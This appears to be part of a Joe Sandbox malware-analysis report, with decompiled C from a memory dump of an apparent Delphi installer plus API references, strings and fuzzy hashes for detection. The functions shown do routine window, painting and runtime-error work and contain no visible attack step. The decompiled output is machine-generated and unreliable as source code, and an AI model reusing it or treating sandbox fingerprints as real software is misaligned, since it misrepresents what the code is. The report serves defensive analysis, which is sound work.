					E0042A040( *((intOrPtr*)(_v12 + 0x1b8)), E0040C0DC( *((intOrPtr*)( *((intOrPtr*)(_v12 + 0x1b8)) + 0xfc)), _t119));
					_t151 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v12 + 0x1b8)) + 0xfc)))) + 0x10))() - 1;
					if(_t151 <= 0) {
						_v5 = 1;
					} else {
						E00422E34(_v12, _t107, _t132, _t133);
						_v5 = _t151 == 0;
						if(_v5 != 0 && E0042A024( *((intOrPtr*)(_v12 + 0x1b8))) >= 0) {
							E00475288( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v12 + 0x1b8)) + 0xfc)))) + 0x14))(),  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v12 + 0x1b8)) + 0xfc)))));
						}
					}
					_pop(_t122);
					 *[fs:eax] = _t122;
					_push(0x46fbc9);
					return E00402B70(_v12);
				}
				_v20 = _t57 + 1;
				_t135 = 0;
				do {
					_t83 =  *0x4901a4; // 0x22f59c0
					_t108 = E0040B420(_t83, _t135);
					_t144 = _t135 -  *0x48eb44; // 0x0
					if(_t144 == 0 ||  *((intOrPtr*)(_t108 + 0x2c)) == 0 || GetACP() ==  *((intOrPtr*)(_t108 + 0x2c)) || ( *0x490161 & 0x00000008) != 0) {
						E004035D8( &_v16, 0x46fc14,  *((intOrPtr*)(_t108 + 4)));
						if( *0x48e0dc != 2) {
							E00403BBC();
							_t92 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v12 + 0x1b8)) + 0xfc)))) + 0x2c))();
						} else {
							_t92 = SendMessageW(E004181C4( *((intOrPtr*)(_v12 + 0x1b8))), 0x143, 0, _v16);
						}
						if(_t92 >= 0) {
							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v12 + 0x1b8)) + 0xfc)))) + 0x20))();
						}
					}
					_t135 = _t135 + 1;
					_t31 =  &_v20;
					 *_t31 = _v20 - 1;
				} while ( *_t31 != 0);
				goto L15;
			}

0x0046f9dc
0x0046f9dc
0x0046f9dd
0x0046f9df
0x0046f9e3
0x0046f9e4
0x0046f9e7
0x0046f9ea
0x0046f9ef
0x0046f9f0
0x0046f9f5
0x0046f9f8
0x0046fa0d
0x0046fa12
0x0046fa13
0x0046fa18
0x0046fa1b
0x0046fa25
0x0046fa3e
0x0046fa43
0x0046fa48
0x0046fa53
0x0046fa58
0x0046fa59
0x0046fa5e
0x0046fa5e
0x0046fa63
0x0046fa6b
0x0046fa6e
0x0046fb2a
0x0046fb2d
0x0046fb39
0x0046fb48
0x0046fb61
0x0046fb62
0x0046fba8
0x0046fb64
0x0046fb67
0x0046fb6d
0x0046fb75
0x0046fba1
0x0046fba1
0x0046fb75
0x0046fbae
0x0046fbb1
0x0046fbb4
0x0046fbc1
0x0046fbc1
0x0046fa75
0x0046fa78
0x0046fa7a
0x0046fa7c
0x0046fa86
0x0046fa88
0x0046fa8e
0x0046fab4
0x0046fac0
0x0046fae9
0x0046fb02
0x0046fac2
0x0046fadc
0x0046fadc
0x0046fb07
0x0046fb1d
0x0046fb1d
0x0046fb07
0x0046fb20
0x0046fb21
0x0046fb21
0x0046fb21
0x00000000

APIs

GetClassInfoW.USER32 ref: 0046FA32
73AFB5A0.USER32(00000000,000000FC,0046F990,00000000,COMBOBOX,?,00000000,0046FBC2,?,00000000,0046FBE7), ref: 0046FA59
GetACP.KERNEL32(00000000,0046FBC2,?,00000000,0046FBE7), ref: 0046FA96
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0046FADC

Strings

COMBOBOX, xrefs: 0046FA2B

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: ClassInfoMessageSend
String ID: COMBOBOX
API String ID: 1455646776-1136563877
Opcode ID: 1e153654ae3344bfb8e45a4e8e245cf2872547733f63b53cc96ab755aef26ea5
Instruction ID: 138cf41232d8125400502fbd6eaef6f4dd0fa18489d1afe9aa44850546970e2d
Opcode Fuzzy Hash: 1e153654ae3344bfb8e45a4e8e245cf2872547733f63b53cc96ab755aef26ea5
Instruction Fuzzy Hash: 30518030A00204AFDB50DF65E895EAEB7F5EB08704F1541BAE844DB362EB38ED45CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00404D42 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 72
windowCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00404D42(int __eax) {
				intOrPtr* _t7;
				intOrPtr* _t8;
				signed int _t15;
				signed int _t19;
				intOrPtr _t20;
				unsigned int _t21;
				char* _t29;
				char* _t30;
				void* _t46;

				 *0x48f024 = __eax;
				if( *0x48f034 == 0) {
					goto L5;
				} else {
					_t46 =  *0x48f418 - 1;
					if(_t46 < 0) {
						L17:
						ExitProcess( *0x48f024);
					} else {
						if(_t46 == 0 || __eax != 0) {
							while(1) {
								L5:
								_t7 =  *0x48f028; // 0x404a28
								_t8 = _t7;
								if(_t8 == 0) {
									break;
								}
								 *0x48f028 = 0;
								 *_t8();
							}
							if( *0x48f02c != 0) {
								_t19 =  *0x48f024; // 0x0
								_t29 = "  at 00000000";
								do {
									_t2 = _t19 % 0xa;
									_t19 = _t19 / 0xa;
									 *_t29 = _t2 + 0x30;
									_t29 = _t29 - 1;
								} while (_t19 != 0);
								_t30 = 0x48e090;
								_t20 =  *0x48f02c; // 0x0
								_t21 = _t20 - 0x40121c;
								do {
									 *_t30 =  *((intOrPtr*)((_t21 & 0x0000000f) + 0x404e5c));
									_t30 = _t30 - 1;
									_t21 = _t21 >> 4;
								} while (_t21 != 0);
								if( *0x48f035 != 0) {
									E00405024(0x48f208, "Runtime error     at 00000000");
									E00404FA7();
								} else {
									MessageBoxA(0, "Runtime error     at 00000000", "Error", 0);
								}
							}
							E00404D08(0x48f03c);
							E00404D08(0x48f208);
							E00401A90();
							if( *0x48f418 == 0) {
								E00403334();
								goto L17;
							}
						}
					}
				}
				E00403334();
				 *0x48f418 = 0;
				_t15 =  *0x48f024; // 0x0
				asm("sbb eax, eax");
				return  ~_t15 + 1;
			}

0x00404d44
0x00404d50
0x00000000
0x00404d52
0x00404d52
0x00404d59
0x00404e1f
0x00404e25
0x00404d5f
0x00404d5f
0x00404d69
0x00404d69
0x00404d69
0x00404d6e
0x00404d70
0x00000000
0x00000000
0x00404d74
0x00404d7a
0x00404d7a
0x00404d85
0x00404d87
0x00404d8c
0x00404d96
0x00404d98
0x00404d98
0x00404d9d
0x00404d9f
0x00404da0
0x00404da4
0x00404da9
0x00404dae
0x00404db3
0x00404dbe
0x00404dc0
0x00404dc1
0x00404dc1
0x00404dcd
0x00404dee
0x00404df3
0x00404dcf
0x00404ddd
0x00404ddd
0x00404dcd
0x00404dfd
0x00404e07
0x00404e0c
0x00404e18
0x00404e1a
0x00000000
0x00404e1a
0x00404e18
0x00404d5f
0x00404d59
0x00404e2a
0x00404e2f
0x00404e36
0x00404e3d
0x00404e59

APIs

MessageBoxA.USER32 ref: 00404DDD
ExitProcess.KERNEL32 ref: 00404E25

Strings

Error, xrefs: 00404DD1
(J@, xrefs: 00404D69, 00404D74
Runtime error at 00000000, xrefs: 00404DD6, 00404DE9

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: ExitMessageProcess
String ID: (J@$Error$Runtime error at 00000000
API String ID: 1220098344-4174531881
Opcode ID: 4e641df12af74fe0cdfde839356ca567a0a89692a9370234c808c2925f3fb0b8
Instruction ID: 05d3b53b00026b524fcfca4b0ebed08561a1326b29ff50b9f28d258046fed248
Opcode Fuzzy Hash: 4e641df12af74fe0cdfde839356ca567a0a89692a9370234c808c2925f3fb0b8
Instruction Fuzzy Hash: 0E2183B46002918AD711B7B9A84171E26C19BD7348F148D7FE600EB2E3C67C4859876E

Uniqueness

Uniqueness Score: -1.00%

Function 00454950 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 46
libraryloaderwindowCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00454950(struct HWND__* __eax, void* __ecx, char __edx) {
				int _t8;
				struct HWND__* _t9;
				intOrPtr* _t13;
				intOrPtr* _t17;
				void* _t18;
				struct HWND__* _t19;
				char* _t20;

				 *_t20 = __edx;
				_t19 = __eax;
				_t17 = GetProcAddress(GetModuleHandleA("user32.dll"), "ChangeWindowMessageFilter");
				if(_t17 != 0) {
					_t18 = 4;
					_t13 = 0x48e930;
					do {
						 *_t17( *_t13, 1);
						_t13 = _t13 + 4;
						_t18 = _t18 - 1;
					} while (_t18 != 0);
				}
				 *0x48fee8 = 1;
				 *0x48fef4 = _t19;
				 *0x48fef8 = E0041F464(E00454CF8, 0x454944);
				_t8 =  *0x48fef8; // 0x0
				_t9 =  *0x48fef4; // 0x0
				return SendMessageA(_t9, 0xb00, _t8, 0);
			}

0x00454955
0x00454958
0x0045496f
0x00454973
0x00454975
0x0045497a
0x0045497f
0x00454984
0x00454986
0x00454989
0x00454989
0x0045497f
0x0045498c
0x00454993
0x004549a9
0x004549b4
0x004549bf
0x004549cf

APIs

GetModuleHandleA.KERNEL32(user32.dll,ChangeWindowMessageFilter,?,?,?,00000001,00000000,0047716C,?,?,?,?,?,?,?,?), ref: 00454964
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0045496A
SendMessageA.USER32(00000000,00000B00,00000000,00000000), ref: 004549C5

Strings

user32.dll, xrefs: 0045495F
ChangeWindowMessageFilter, xrefs: 0045495A

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AddressHandleMessageModuleProcSend
String ID: ChangeWindowMessageFilter$user32.dll
API String ID: 4131673079-2498399450
Opcode ID: bc021dd95022e5360540cf2639710103b0b9d0f53f436339356bbfd594e486fb
Instruction ID: 26abcbd721d1434c8b0b8f1f22e2371ea3f690708ee293562c149011b3514c34
Opcode Fuzzy Hash: bc021dd95022e5360540cf2639710103b0b9d0f53f436339356bbfd594e486fb
Instruction Fuzzy Hash: AFF081F26042406BD700A7B9AC42F7B7A9CC78172DF25047BFD80DF663C5A99888876C

Uniqueness

Uniqueness Score: -1.00%

Function 004555E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E004555E0(HANDLE* __eax) {
				HANDLE* _v8;
				long _v12;
				intOrPtr _t7;
				long _t10;
				intOrPtr _t27;
				void* _t30;

				_v8 = __eax;
				_push(_t30);
				_push(0x45565d);
				_push( *[fs:edx]);
				 *[fs:edx] = _t30 + 0xfffffff8;
				do {
					_t7 =  *0x48f628; // 0x22f2410
					E00424490(_t7);
					_t10 = MsgWaitForMultipleObjects(1, _v8, 0, 0xffffffff, 0xff);
				} while (_t10 == 1);
				if(_t10 + 1 == 0) {
					E00451868("MsgWaitForMultipleObjects");
				}
				if(GetExitCodeProcess( *_v8,  &_v12) == 0) {
					E00451868("GetExitCodeProcess");
				}
				_pop(_t27);
				 *[fs:eax] = _t27;
				_push(E00455664);
				return CloseHandle( *_v8);
			}

0x004555e6
0x004555eb
0x004555ec
0x004555f1
0x004555f4
0x004555f7
0x004555f7
0x004555fc
0x00455610
0x00455615
0x0045561b
0x00455622
0x00455622
0x00455638
0x0045563f
0x0045563f
0x00455646
0x00455649
0x0045564c
0x0045565c

APIs

MsgWaitForMultipleObjects.USER32 ref: 00455610
GetExitCodeProcess.KERNEL32 ref: 00455631
CloseHandle.KERNEL32(?,00455664,?,00000000,000000FF,000000FF,00000000,0045565D,?,00000000,00000000,00002018,000000FF,0048EA70), ref: 00455657

Strings

MsgWaitForMultipleObjects, xrefs: 0045561D
GetExitCodeProcess, xrefs: 0045563A

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CloseCodeExitHandleMultipleObjectsProcessWait
String ID: GetExitCodeProcess$MsgWaitForMultipleObjects
API String ID: 2573145106-3235461205
Opcode ID: ab524ecf6e631998b5c12156b8fddefbbf1442025230eefe6a6efa44d971d380
Instruction ID: 891a224afc9c92cb7f61e1c74de024afb74d909d8a9b5d6332e4ab834f012c0e
Opcode Fuzzy Hash: ab524ecf6e631998b5c12156b8fddefbbf1442025230eefe6a6efa44d971d380
Instruction Fuzzy Hash: E201A270640644AFDB20EBA98C62F3E73A8EB49715FA04576F814DB2D2D6389D04DA1C

Uniqueness

Uniqueness Score: -1.00%

Function 0044EB7C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 16
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0044EB7C() {
				_Unknown_base(*)()* _t6;
				intOrPtr _t7;

				E00404A44(0x48e9c0);
				if( *0x48f034 == 0) {
					_t7 =  *0x48f020; // 0x44eb48
					 *0x48f758 = _t7;
					 *0x48f020 = E0044EB48;
				}
				E0044EB0C();
				E0044A890();
				_t6 = GetProcAddress(GetModuleHandleA("user32.dll"), "NotifyWinEvent");
				 *0x48f744 = _t6;
				return _t6;
			}

0x0044eb81
0x0044eb8d
0x0044eb8f
0x0044eb94
0x0044eb99
0x0044eb99
0x0044eba3
0x0044eba8
0x0044ebbd
0x0044ebc2
0x0044ebc7

APIs

GetModuleHandleA.KERNEL32(user32.dll,NotifyWinEvent,0048DCE5), ref: 0044EBB7
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0044EBBD

Strings

user32.dll, xrefs: 0044EBB2
HD, xrefs: 0044EB8F
NotifyWinEvent, xrefs: 0044EBAD

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: HD$NotifyWinEvent$user32.dll
API String ID: 1646373207-3826198660
Opcode ID: f286f674aaf7614dcf79a3fe2568934ce18c82c2af6f6931424b4a23e0e5b805
Instruction ID: eb75a9cccac2554bae57c8dba3fc34baaace4da8116a5c7eb126b48a9fc9164b
Opcode Fuzzy Hash: f286f674aaf7614dcf79a3fe2568934ce18c82c2af6f6931424b4a23e0e5b805
Instruction Fuzzy Hash: 06E0ECF09413845AFB01FBAB5806B0D2A90F785308B10087FF14566193C77C64188B2D

Uniqueness

Uniqueness Score: -1.00%

Function 00416C10 Relevance: 7.6, APIs: 5, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00416C10(intOrPtr* __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				intOrPtr* _v8;
				intOrPtr _v12;
				int _v16;
				int _v20;
				struct tagPAINTSTRUCT _v84;
				intOrPtr _t54;
				void* _t63;
				struct HDC__* _t73;
				intOrPtr _t87;
				void* _t94;
				void* _t95;
				void* _t97;
				void* _t99;
				void* _t100;
				intOrPtr _t101;

				_t99 = _t100;
				_t101 = _t100 + 0xffffffb0;
				_v12 = __edx;
				_v8 = __eax;
				_t73 =  *(_v12 + 4);
				if(_t73 == 0) {
					_t73 = BeginPaint(E004181C4(_v8),  &_v84);
				}
				_push(_t99);
				_push(0x416d29);
				_push( *[fs:ecx]);
				 *[fs:ecx] = _t101;
				if( *((intOrPtr*)(_v8 + 0xb0)) != 0) {
					_v20 = SaveDC(_t73);
					_v16 = 2;
					_t94 =  *((intOrPtr*)( *((intOrPtr*)(_v8 + 0xb0)) + 8)) - 1;
					if(_t94 >= 0) {
						_t95 = _t94 + 1;
						_t97 = 0;
						do {
							_t63 = E0040B420( *((intOrPtr*)(_v8 + 0xb0)), _t97);
							if( *((char*)(_t63 + 0x37)) != 0 || ( *(_t63 + 0x1c) & 0x00000010) != 0 && ( *(_t63 + 0x35) & 0x00000004) == 0) {
								if(( *(_t63 + 0x34) & 0x00000040) == 0) {
									goto L11;
								} else {
									_v16 = ExcludeClipRect(_t73,  *(_t63 + 0x24),  *(_t63 + 0x28),  *(_t63 + 0x24) +  *((intOrPtr*)(_t63 + 0x2c)),  *(_t63 + 0x28) +  *((intOrPtr*)(_t63 + 0x30)));
									if(_v16 != 1) {
										goto L11;
									}
								}
							} else {
								goto L11;
							}
							goto L12;
							L11:
							_t97 = _t97 + 1;
							_t95 = _t95 - 1;
						} while (_t95 != 0);
					}
					L12:
					if(_v16 != 1) {
						 *((intOrPtr*)( *_v8 + 0x70))();
					}
					RestoreDC(_t73, _v20);
				} else {
					 *((intOrPtr*)( *_v8 + 0x70))();
				}
				E00416D64(_v8, 0, _t73);
				_pop(_t87);
				 *[fs:eax] = _t87;
				_push(E00416D30);
				_t54 = _v12;
				if( *((intOrPtr*)(_t54 + 4)) == 0) {
					return EndPaint(E004181C4(_v8),  &_v84);
				}
				return _t54;
			}

0x00416c11
0x00416c13
0x00416c19
0x00416c1c
0x00416c22
0x00416c27
0x00416c3b
0x00416c3b
0x00416c3f
0x00416c40
0x00416c45
0x00416c48
0x00416c55
0x00416c6c
0x00416c6f
0x00416c82
0x00416c85
0x00416c87
0x00416c88
0x00416c8a
0x00416c95
0x00416c9e
0x00416cb0
0x00000000
0x00416cb2
0x00416ccd
0x00416cd4
0x00000000
0x00000000
0x00416cd4
0x00000000
0x00000000
0x00000000
0x00000000
0x00416cd6
0x00416cd6
0x00416cd7
0x00416cd7
0x00416c8a
0x00416cda
0x00416cde
0x00416ce7
0x00416ce7
0x00416cef
0x00416c57
0x00416c5e
0x00416c5e
0x00416cfb
0x00416d02
0x00416d05
0x00416d08
0x00416d0d
0x00416d14
0x00000000
0x00416d23
0x00416d28

APIs

BeginPaint.USER32(00000000,?), ref: 00416C36
SaveDC.GDI32(?), ref: 00416C67
ExcludeClipRect.GDI32(?,?,?,?,?,?,00000000,00416D29), ref: 00416CC8
RestoreDC.GDI32(?,?), ref: 00416CEF
EndPaint.USER32(00000000,?,00416D30,00000000,00416D29), ref: 00416D23

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Paint$BeginClipExcludeRectRestoreSave
String ID:
API String ID: 3808407030-0
Opcode ID: d0d92d8ecc9623660def715b0bd80ab010e1372c2db2e59807ac5db787016297
Instruction ID: 3e3159326600a0989541e2a742afd92806c0a34c2af3a02390c8943471572ba1
Opcode Fuzzy Hash: d0d92d8ecc9623660def715b0bd80ab010e1372c2db2e59807ac5db787016297
Instruction Fuzzy Hash: 86414F70A04218AFDB14DB99C585FAAB7F9FF48308F1640AEE4449B362D778DD41CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004147E4 Relevance: 7.6, APIs: 5, Instructions: 102
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004147E4(intOrPtr* __eax, int __ecx, int __edx) {
				char _t46;
				signed char _t76;
				int _t83;
				intOrPtr* _t84;
				int _t85;
				int* _t87;

				 *_t87 = __ecx;
				_t83 = __edx;
				_t84 = __eax;
				if(__edx !=  *_t87) {
					if(( *(__eax + 0x1c) & 0x00000001) == 0) {
						_t76 =  *E004148F0; // 0x1f
					} else {
						_t76 =  *((intOrPtr*)(__eax + 0x5c));
					}
					if((_t76 & 0x00000001) == 0) {
						_t85 =  *(_t84 + 0x24);
					} else {
						_t85 = MulDiv( *(_t84 + 0x24), _t83,  *_t87);
					}
					if((_t76 & 0x00000002) == 0) {
						_t87[1] =  *(_t84 + 0x28);
					} else {
						_t87[1] = MulDiv( *(_t84 + 0x28), _t83,  *_t87);
					}
					if((_t76 & 0x00000004) == 0 || ( *(_t84 + 0x35) & 0x00000001) != 0) {
						_t87[2] =  *(_t84 + 0x2c);
					} else {
						_t87[2] = MulDiv( *(_t84 + 0x24) +  *(_t84 + 0x2c), _t83,  *_t87) - _t85;
					}
					if((_t76 & 0x00000008) == 0 || ( *(_t84 + 0x35) & 0x00000002) != 0) {
						_t87[3] =  *(_t84 + 0x30);
					} else {
						_t87[3] = MulDiv( *(_t84 + 0x28) +  *(_t84 + 0x30), _t83,  *_t87) - _t87[1];
					}
					 *((intOrPtr*)( *_t84 + 0x4c))(_t87[4], _t87[2]);
					if( *((char*)(_t84 + 0x39)) == 0 && (_t76 & 0x00000010) != 0) {
						E0041A388( *((intOrPtr*)(_t84 + 0x44)), MulDiv(E0041A36C( *((intOrPtr*)(_t84 + 0x44))), _t83,  *_t87));
					}
				}
				_t46 =  *0x4148f4; // 0x0
				 *((char*)(_t84 + 0x5c)) = _t46;
				return _t46;
			}

0x004147eb
0x004147ee
0x004147f0
0x004147f5
0x004147ff
0x00414806
0x00414801
0x00414801
0x00414801
0x0041480f
0x00414823
0x00414811
0x0041481f
0x0041481f
0x00414829
0x00414842
0x0041482b
0x00414839
0x00414839
0x00414849
0x0041486d
0x00414851
0x00414864
0x00414864
0x00414874
0x0041489a
0x0041487c
0x00414891
0x00414891
0x004148b2
0x004148b9
0x004148d9
0x004148d9
0x004148b9
0x004148de
0x004148e3
0x004148ed

APIs

MulDiv.KERNEL32(?,?,?), ref: 0041481A
MulDiv.KERNEL32(?,?,?), ref: 00414834
MulDiv.KERNEL32(?,?,?), ref: 0041485D
MulDiv.KERNEL32(?,?,?), ref: 00414888
MulDiv.KERNEL32(00000000,?,00000000), ref: 004148D0

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d2e7fc5b7fb7fe24dea70fe7b2d12285f597e39a194117d0302ec218083c9d
Instruction ID: 4883fbddd944f2be6561fcacf64ddd40de7342fc3614b53169da0d1c8aa22a50
Opcode Fuzzy Hash: b6d2e7fc5b7fb7fe24dea70fe7b2d12285f597e39a194117d0302ec218083c9d
Instruction Fuzzy Hash: B73121756057809FC320EB69C584BA7BBE8AF89714F08891EF8D5C7752D638E880CB15

Uniqueness

Uniqueness Score: -1.00%

Function 004297B0 Relevance: 7.6, APIs: 5, Instructions: 83
windowCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E004297B0(void* __eax, void* __ebx, intOrPtr __ecx, int __edx, void* __edi, void* __esi) {
				intOrPtr _v8;
				char _v12;
				long _t27;
				long _t34;
				int _t42;
				int _t43;
				intOrPtr _t50;
				int _t54;
				void* _t57;
				void* _t60;

				_v12 = 0;
				_v8 = __ecx;
				_t54 = __edx;
				_t57 = __eax;
				_push(_t60);
				_push(0x42989b);
				_push( *[fs:eax]);
				 *[fs:eax] = _t60 + 0xfffffff8;
				if(__edx >= 0) {
					_t42 = SendMessageA(E004181C4( *((intOrPtr*)(__eax + 8))), 0xbb, __edx, 0);
					if(_t42 < 0) {
						_t43 = SendMessageA(E004181C4( *((intOrPtr*)(_t57 + 8))), 0xbb, _t54 - 1, 0);
						if(_t43 >= 0) {
							_t27 = SendMessageA(E004181C4( *((intOrPtr*)(_t57 + 8))), 0xc1, _t43, 0);
							if(_t27 != 0) {
								_t42 = _t43 + _t27;
								E004035D8( &_v12, _v8, 0x4298b4);
								goto L6;
							}
						}
					} else {
						E004035D8( &_v12, 0x4298b4, _v8);
						L6:
						SendMessageA(E004181C4( *((intOrPtr*)(_t57 + 8))), 0xb1, _t42, _t42);
						_t34 = E00403750(_v12);
						SendMessageA(E004181C4( *((intOrPtr*)(_t57 + 8))), 0xc2, 0, _t34);
					}
				}
				_pop(_t50);
				 *[fs:eax] = _t50;
				_push(0x4298a2);
				return E00403418( &_v12);
			}

0x004297bb
0x004297be
0x004297c1
0x004297c3
0x004297c7
0x004297c8
0x004297cd
0x004297d0
0x004297d5
0x004297f1
0x004297f5
0x00429820
0x00429824
0x00429837
0x0042983e
0x00429840
0x0042984d
0x00000000
0x0042984d
0x0042983e
0x004297f7
0x00429802
0x00429852
0x00429862
0x0042986a
0x00429880
0x00429880
0x004297f5
0x00429887
0x0042988a
0x0042988d
0x0042989a

APIs

SendMessageA.USER32(00000000,000000BB,?,00000000), ref: 004297EC
SendMessageA.USER32(00000000,000000BB,?,00000000), ref: 0042981B
SendMessageA.USER32(00000000,000000C1,00000000,00000000), ref: 00429837
SendMessageA.USER32(00000000,000000B1,00000000,00000000), ref: 00429862
SendMessageA.USER32(00000000,000000C2,00000000,00000000), ref: 00429880

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: f9fa41bfa0c2a70622a1e6ba29e21105fe949f91a717440d34f12e388c4d62d1
Instruction ID: a062575b4a901e12fd6f128b76fd2d06d8466d65068258292e307c4ed7c0d4dc
Opcode Fuzzy Hash: f9fa41bfa0c2a70622a1e6ba29e21105fe949f91a717440d34f12e388c4d62d1
Instruction Fuzzy Hash: E121B0707407147BE710BA66CC82F4B76ACEB82708F95447EB505FB2D2DB79AD41826C

Uniqueness

Uniqueness Score: -1.00%

Function 0041BB9C Relevance: 7.6, APIs: 5, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E0041BB9C(intOrPtr __eax, void* __ebx, intOrPtr __ecx, intOrPtr* __edx, void* __esi, void* __eflags) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v16;
				signed int _v20;
				intOrPtr _v24;
				int _v28;
				char _v32;
				signed int _t51;
				intOrPtr _t52;
				signed int _t55;
				intOrPtr* _t65;
				intOrPtr _t85;
				signed int _t87;
				void* _t89;
				void* _t90;
				intOrPtr _t91;

				_t89 = _t90;
				_t91 = _t90 + 0xffffffe4;
				_v12 = __ecx;
				_t65 = __edx;
				_v8 = __eax;
				_v32 = GetSystemMetrics(0xb);
				_v28 = GetSystemMetrics(0xc);
				 *(_v8 + 8) =  *(_v8 + 8) >> 1;
				 *(_v8 + 0x14) = E0041BB88( *(_v8 + 4) * ( *(_v8 + 0xe) & 0x0000ffff)) *  *(_v8 + 8);
				_t51 = E0041B4CC( *(_v8 + 0xe));
				_t87 = _t51;
				_push(0);
				L00405F1C();
				_v20 = _t51;
				if(_v20 == 0) {
					E0041B378();
				}
				_push(_t89);
				_push(0x41bd61);
				_push( *[fs:edx]);
				 *[fs:edx] = _t91;
				_t52 = _v8;
				_v24 = _t52 + 0x28 + (_t87 << 2);
				_push(0);
				_push(_t52);
				_push(_v24);
				_push(4);
				_push(_v8);
				_t55 = _v20;
				_push(_t55);
				L00405BCC();
				_v16 = _t55;
				if(_v16 == 0) {
					E0041B378();
				}
				_push(_t89);
				_push(0x41bc84);
